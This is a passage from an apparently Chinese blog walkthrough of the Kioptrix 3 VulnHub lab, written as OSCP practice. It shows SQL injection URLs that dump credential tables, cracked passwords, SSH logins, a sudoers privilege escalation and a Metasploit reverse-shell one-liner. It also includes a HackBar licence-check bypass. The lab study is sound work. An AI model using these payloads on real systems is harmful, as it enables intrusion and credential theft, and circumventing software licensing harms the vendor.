&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt;# 回显 dev_accounts,gallarific_comments,gallarific_galleries,gallarific_photos,gallarific_settings,gallarific_stats,gallarific_users
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt;# gallarific_users 里可能会有用户名和密码 查表
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt;http://kioptrix3.com/gallery/gallery.php?id=1 union select 11,22,group_concat(column_name),44,55,66 from information_schema.COLUMNS where TABLE_SCHEMA=database() and TABLE_NAME=&amp;#39;&lt;/span&gt;gallarific_users&lt;span class="s1"&gt;&amp;#39; 
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt;# 回显 userid,username,password,usertype,firstname,lastname,email,datejoined,website,issuperuser,photo,joincode
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt;http://kioptrix3.com/gallery/gallery.php?id=1 union select 11,username,password,44,55,66 from gallery.gallarific_users
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt;# 回显 admin n0t7t1k4
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt;http://kioptrix3.com/gallery/gallery.php?id=1 union select 11,22,group_concat(concat_ws(&amp;#39;&lt;/span&gt;:&lt;span class="s1"&gt;&amp;#39;,username,password)) ,44,55,66 from gallery.gallarific_users
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt;# 回显 admin:n0t7t1k4
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt;http://kioptrix3.com/gallery/gallery.php?id=1 union select 11,22,group_concat(concat_ws(&amp;#39;&lt;/span&gt;:&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;,username,password&lt;span class="o"&gt;))&lt;/span&gt; ,44,55,66 from gallery.dev_accounts
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 回显 dreg:0d3eccfb887aabd50f243b3f155c0f85,loneferret:5badcaf789d3d1d09794d8f021f40f0e&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250208211809257" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208211809257.png"&gt;&lt;img alt="image-20250208211941599" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208211941599.png"&gt;&lt;img alt="image-20250208212031716" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208212031716.png"&gt;&lt;img alt="image-20250208212147363" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208212147363.png"&gt;&lt;img alt="image-20250208212307000" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208212307000.png"&gt;&lt;img alt="image-20250208212617570" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208212617570.png"&gt;
&lt;img alt="image-20250208213037489" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208213037489.png"&gt;
&lt;img alt="image-20250208213058048" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208213058048.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-txt" data-lang="txt"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;# 回显 admin:n0t7t1k4
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;# 回显 dreg:0d3eccfb887aabd50f243b3f155c0f85,loneferret:5badcaf789d3d1d09794d8f021f40f0e
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;---
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;# 解密后为 https://www.cmd5.com/default.aspx
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;admin:n0t7t1k4
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;dreg:Mast3r
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt;loneferret:starwars
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250208213318991" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208213318991.png"&gt;
&lt;img alt="image-20250208213359488" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208213359488.png"&gt;&lt;/p&gt;
&lt;p&gt;ssh登录&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;ssh -oHostKeyAlgorithms&lt;span class="o"&gt;=&lt;/span&gt;+ssh-rsa admin@192.168.139.131
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;ssh -oHostKeyAlgorithms&lt;span class="o"&gt;=&lt;/span&gt;+ssh-rsa dreg@192.168.139.131
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;ssh -oHostKeyAlgorithms&lt;span class="o"&gt;=&lt;/span&gt;+ssh-rsa loneferret@192.168.139.131
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250208215244026" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208215244026.png"&gt;&lt;img alt="image-20250208215052868" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208215052868.png"&gt;
&lt;img alt="image-20250208215313500" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208215313500.png"&gt;&lt;/p&gt;
&lt;p&gt;除了admin的账户登不上，其他的都可以登录，这里可以又回到之前的用passwd漏洞切换账户。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208215412071" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208215412071.png"&gt;&lt;/p&gt;
&lt;h4 id="suid-提权"&gt;suid 提权
&lt;/h4&gt;&lt;p&gt;也可以用suid方法提权。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;find / -perm -u&lt;span class="o"&gt;=&lt;/span&gt;s -type f 2&amp;gt;/dev/null &lt;span class="c1"&gt;# 发现有sudo 命令&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250208221055434" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208221055434.png"&gt;&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;2025年2月8日 22点27分&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;p&gt;做到这里一开始怀疑是40839的问题，后来解压了新靶机也不行，推测是靶机文件问题，从官方渠道下载新的。 &lt;a class="link" href="https://download.vulnhub.com/kioptrix/KVM3.rar" target="_blank" rel="noopener"
 &gt;https://download.vulnhub.com/kioptrix/KVM3.rar&lt;/a&gt; 等着下载，然后正好也歇一会&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;2025年2月8日 22点39分&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208230053377.png"&gt;&lt;/p&gt;
&lt;p&gt;按键盘&lt;code&gt;alt+w&lt;/code&gt;唤出选择界面，选择打开&lt;code&gt;/etc/sudoers&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208225735027" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208225735027.png"&gt;&lt;img alt="image-20250208225825647" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208225825647.png"&gt;&lt;/p&gt;
&lt;p&gt;修改添加&lt;code&gt;/bin/sh&lt;/code&gt;使root权限可以再bash中使用。保存退出。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208225606413" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208225606413.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208230053377" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208230053377.png"&gt;&lt;/p&gt;
&lt;h3 id="msf-工具箱-lotuscms-rce"&gt;MSF 工具箱 LotusCMS RCE
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;searchsploit lotuscms
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250208230547497" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208230547497.png"&gt;&lt;/p&gt;
&lt;p&gt;注意OSCP考试只能使用一次MSF工具箱，所以应该掌握多种攻击方法。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208231039381" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208231039381.png"&gt;&lt;/p&gt;
&lt;p&gt;先在2另一个终端开启监听。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;set&lt;/span&gt; rhosts 192.168.139.132
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;set&lt;/span&gt; uri /index.php?system&lt;span class="o"&gt;=&lt;/span&gt;Admin
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;set&lt;/span&gt; lhost 192.168.139.128
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;set&lt;/span&gt; lport &lt;span class="m"&gt;9001&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;set&lt;/span&gt; payload generic/shell_reverse_tcp
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250208235256674" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208235256674.png"&gt;&lt;/p&gt;
&lt;p&gt;然后再已经开启的9001端口就可以看得到回弹了。也可以把上述msf命令写成一行。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;msfconsole -q -x &lt;span class="s1"&gt;&amp;#39;use exploit/multi/http/lcms_php_exec;set uri /index.php?system=Admin;set rhosts 192.168.139.132;set lhost 192.168.139.128;set lport 9001;set payload generic/shell_reverse_tcp;run&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="phpadmin-漏洞"&gt;phpadmin 漏洞
&lt;/h3&gt;&lt;p&gt;使用LotusCMS漏洞进去后还有个地方进去。在配置文件下有数据库的账号密码。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; gallery
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;cat gconfig.php
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;---
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$GLOBALS&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;gallarific_mysql_server&amp;#34;&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;localhost&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$GLOBALS&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;gallarific_mysql_database&amp;#34;&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;gallery&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$GLOBALS&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;gallarific_mysql_username&amp;#34;&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;root&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$GLOBALS&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;gallarific_mysql_password&amp;#34;&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;fuckeyou&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250208232804725" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208232804725.png"&gt;
&lt;img alt="image-20250208233130584" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208233130584.png"&gt;
&lt;img alt="image-20250208233247825" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208233247825.png"&gt;
&lt;img alt="image-20250208233302038" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208233302038.png"&gt;&lt;img alt="image-20250208233338783" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208233338783.png"&gt;&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;2025年2月9日 00点01分&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;p&gt;到此刷完K3靶机，本来2到5是Day4一天的内容，但是我刷不完，就分两次做了。&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;参考&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;p&gt;&lt;a class="link" href="https://www.cnblogs.com/wsec/p/vulhub0x03.html#1-sqli%E6%89%8B%E5%B7%A5%E6%B3%A8%E5%85%A5" target="_blank" rel="noopener"
 &gt;https://www.cnblogs.com/wsec/p/vulhub0x03.html#1-sqli%E6%89%8B%E5%B7%A5%E6%B3%A8%E5%85%A5&lt;/a&gt;
&lt;a class="link" href="https://blog.csdn.net/shulao2010/article/details/130818800" target="_blank" rel="noopener"
 &gt;https://blog.csdn.net/shulao2010/article/details/130818800&lt;/a&gt;&lt;/p&gt;
&lt;h2 id="推荐安装插件"&gt;推荐安装插件
&lt;/h2&gt;&lt;p&gt;&lt;a class="link" href="https://chromewebstore.google.com/detail/proxy-switchyomega-3-zero/pfnededegaaopdmhkdmcofjmoldfiped?hl=zh-CN&amp;amp;utm_source=ext_sidebar" target="_blank" rel="noopener"
 &gt;https://chromewebstore.google.com/detail/proxy-switchyomega-3-zero/pfnededegaaopdmhkdmcofjmoldfiped?hl=zh-CN&amp;utm_source=ext_sidebar&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;切换代理的，也可以装FoxProxy等其他浏览器插件。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208180507152" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208180507152.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;a class="link" href="https://chromewebstore.google.com/detail/wappalyzer-technology-pro/gppongmhjkpfnbhagpmjfkannfbllamg?hl=zh-CN&amp;amp;utm_source=ext_sidebar" target="_blank" rel="noopener"
 &gt;https://chromewebstore.google.com/detail/wappalyzer-technology-pro/gppongmhjkpfnbhagpmjfkannfbllamg?hl=zh-CN&amp;utm_source=ext_sidebar&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;看网站框架信息&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208180456037" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208180456037.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;a class="link" href="https://chromewebstore.google.com/detail/hack-tools/cmbndhnoonmghfofefkcccljbkdpamhi?hl=zh-CN&amp;amp;utm_source=ext_sidebar" target="_blank" rel="noopener"
 &gt;https://chromewebstore.google.com/detail/hack-tools/cmbndhnoonmghfofefkcccljbkdpamhi?hl=zh-CN&amp;utm_source=ext_sidebar&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;黑客工具箱子，方便随时生成反弹shell，还有其他一些小工具。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208180417032" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208180417032.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;a class="link" href="https://chromewebstore.google.com/detail/shodan/jjalcfnidlmpjhdfepjhjbhnhkbgleap?hl=zh-CN&amp;amp;utm_source=ext_sidebar" target="_blank" rel="noopener"
 &gt;https://chromewebstore.google.com/detail/shodan/jjalcfnidlmpjhdfepjhjbhnhkbgleap?hl=zh-CN&amp;utm_source=ext_sidebar&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;看网站域名所属信息。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208180632414" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208180632414.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;a class="link" href="https://chromewebstore.google.com/detail/hunter-email-finder-exten/hgmhmanijnjhaffoampdlllchpolkdnj?hl=zh-CN&amp;amp;utm_source=ext_sidebar" target="_blank" rel="noopener"
 &gt;https://chromewebstore.google.com/detail/hunter-email-finder-exten/hgmhmanijnjhaffoampdlllchpolkdnj?hl=zh-CN&amp;utm_source=ext_sidebar&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;社工找邮箱。&lt;/p&gt;
&lt;p&gt;&lt;a class="link" href="https://chromewebstore.google.com/detail/%E6%B2%89%E6%B5%B8%E5%BC%8F%E7%BF%BB%E8%AF%91-%E7%BD%91%E9%A1%B5%E7%BF%BB%E8%AF%91%E6%8F%92%E4%BB%B6-pdf%E7%BF%BB%E8%AF%91-%E5%85%8D%E8%B4%B9/bpoadfkcbjbfhfodiogcnhhhpibjhbnh?hl=zh-CN&amp;amp;utm_source=ext_sidebar" target="_blank" rel="noopener"
 &gt;https://chromewebstore.google.com/detail/%E6%B2%89%E6%B5%B8%E5%BC%8F%E7%BF%BB%E8%AF%91-%E7%BD%91%E9%A1%B5%E7%BF%BB%E8%AF%91%E6%8F%92%E4%BB%B6-pdf%E7%BF%BB%E8%AF%91-%E5%85%8D%E8%B4%B9/bpoadfkcbjbfhfodiogcnhhhpibjhbnh?hl=zh-CN&amp;utm_source=ext_sidebar&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;翻译网页&lt;/p&gt;
&lt;h3 id="hackbar破解方法"&gt;Hackbar破解方法
&lt;/h3&gt;&lt;p&gt;&lt;a class="link" href="https://chromewebstore.google.com/detail/hackbar/" target="_blank" rel="noopener"
 &gt;https://chromewebstore.google.com/detail/hackbar/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208174941774" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208174941774.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208175118201" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208175118201.png"&gt;&lt;/p&gt;
&lt;p&gt;搜索ID值找到本地文件，找到第26行代码，将“license_ok=false”改为“license_ok=true”,然后在Chrome浏览器按“F12”键，选择HackBar，在License框中随便输入一个许可码&lt;img alt="image-20250208175300596" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208175300596.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208175439173" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208175439173.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;a class="link" href="https://portswigger.net/burp/releases/community/latest" target="_blank" rel="noopener"
 &gt;https://portswigger.net/burp/releases/community/latest&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Yakit和BurpSuit一样都可以抓包浏览器，不过Yakit是国产的，自带中文，还有很多漏洞扫描插件，不过OSCP考试时要求BurpSuit，对Yakit没有明确规定，如果要用要询问考官。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208164106635" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208164106635.png"&gt;&lt;/p&gt;
&lt;h3 id="burpsuit配置"&gt;BurpSuit配置
&lt;/h3&gt;
 &lt;blockquote&gt;
 &lt;p&gt;关注公众号&lt;code&gt;泷羽Sec-静安&lt;/code&gt;，后台回复&lt;code&gt;找工具+Day4&lt;/code&gt;获取BurpSuit 和Yakit安装包。&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;p&gt;安装好启动后在浏览器种安装插件&lt;a class="link" href="https://chromewebstore.google.com/detail/proxy-switchyomega-v3/hihblcmlaaademjlakdpicchbjnnnkbo" target="_blank" rel="noopener"
 &gt;OmegaSwitch&lt;/a&gt;，然后点击设置，新建新的情景。按照如下端口设置。&lt;/p&gt;
